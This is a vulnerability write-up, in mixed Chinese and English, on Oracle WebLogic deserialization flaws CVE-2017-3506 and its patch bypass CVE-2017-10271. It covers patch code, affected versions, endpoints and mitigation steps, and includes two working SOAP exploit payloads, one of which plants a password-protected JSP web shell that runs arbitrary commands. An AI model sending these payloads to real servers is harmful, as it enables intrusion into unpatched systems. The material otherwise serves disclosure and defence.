
原创作者:[email protected]
mitre:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3506
Early on, hackers leveraged the WebLogic WLS component vulnerability to launch large-scale remote attacks against enterprise servers, resulting in a large number of compromised servers. The number of attacked enterprises showed a clear upward trend, requiring heightened attention. Among them, CVE-2017-3506 is a remote code execution vulnerability in the WLS component of Oracle WebLogic, classified as a zero-day vulnerability with no publicly disclosed details. Many enterprises had not installed the patch in time. The official patch for this vulnerability was released in April 2017.
CVE-2017-3506 Patch Description:
public WorkContextXmlInputAdapter(InputStream is)
{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try
{
int next = 0;
next = is.read();
while (next != -1)
{
baos.write(next);
next = is.read();
}
}
catch (Exception e)
{
throw new IllegalStateException("Failed to get data from input stream", e);
}
validate(new ByteArrayInputStream(baos.toByteArray()));
this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
}
private void validate(InputStream is)
{
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try
{
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()
{
public void startElement(String uri, String localName, String qName, Attributes attributes)
throws SAXException
{
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
}
catch (ParserConfigurationException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (SAXException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (IOException e)
{
throw new IllegalStateException("Parser Exception", e);
}
}
It merely adds a validate function before deserialization; if qName equals 'object', it throws an exception to terminate. This is simple and brutal. However, such a blacklist fix is difficult to fully and completely patch. Worth pondering…
The exploitation method for this vulnerability is relatively simple. An attacker only needs to send a carefully crafted HTTP request to gain control of the target server, causing enormous damage. Since the vulnerability is relatively new, there are still many hosts that have not updated the relevant patch. It is expected that after this incident, the number of attacks may surge, and a large number of new hosts could be compromised.
Oracle's April patch for CVE-2017-3506 did not fully fix the vulnerability; it was possible to bypass the patch and still execute remote commands. The bypass vulnerability currently known as CVE-2017-10271 was fixed in the official patch released in October.
CVE-2017-10271 (wls-wsat Remote Command Execution Bypass Vulnerability)
Oracle WebLogic Server10.3.6.0.0 版本
Oracle WebLogic Server12.1.3.0.0 版本
Oracle WebLogic Server12.2.1.1.0 版本
Oracle WebLogic Server12.2.1.2.0 版本
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[<% if("secfree".equals(request.getParameter("password"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
} %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>




<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>







http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html https://lipeng1943.com/download/weblogic_patch-catalog_25504.zip
Implement access control for wls-wsat resources.
Temporary Solution
Without affecting business operations, delete the following war packages and directories from the WebLogic installation according to the actual environment path.
rm -f/home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
After restarting the WebLogic service or system, verify that the following link returns a 404 status: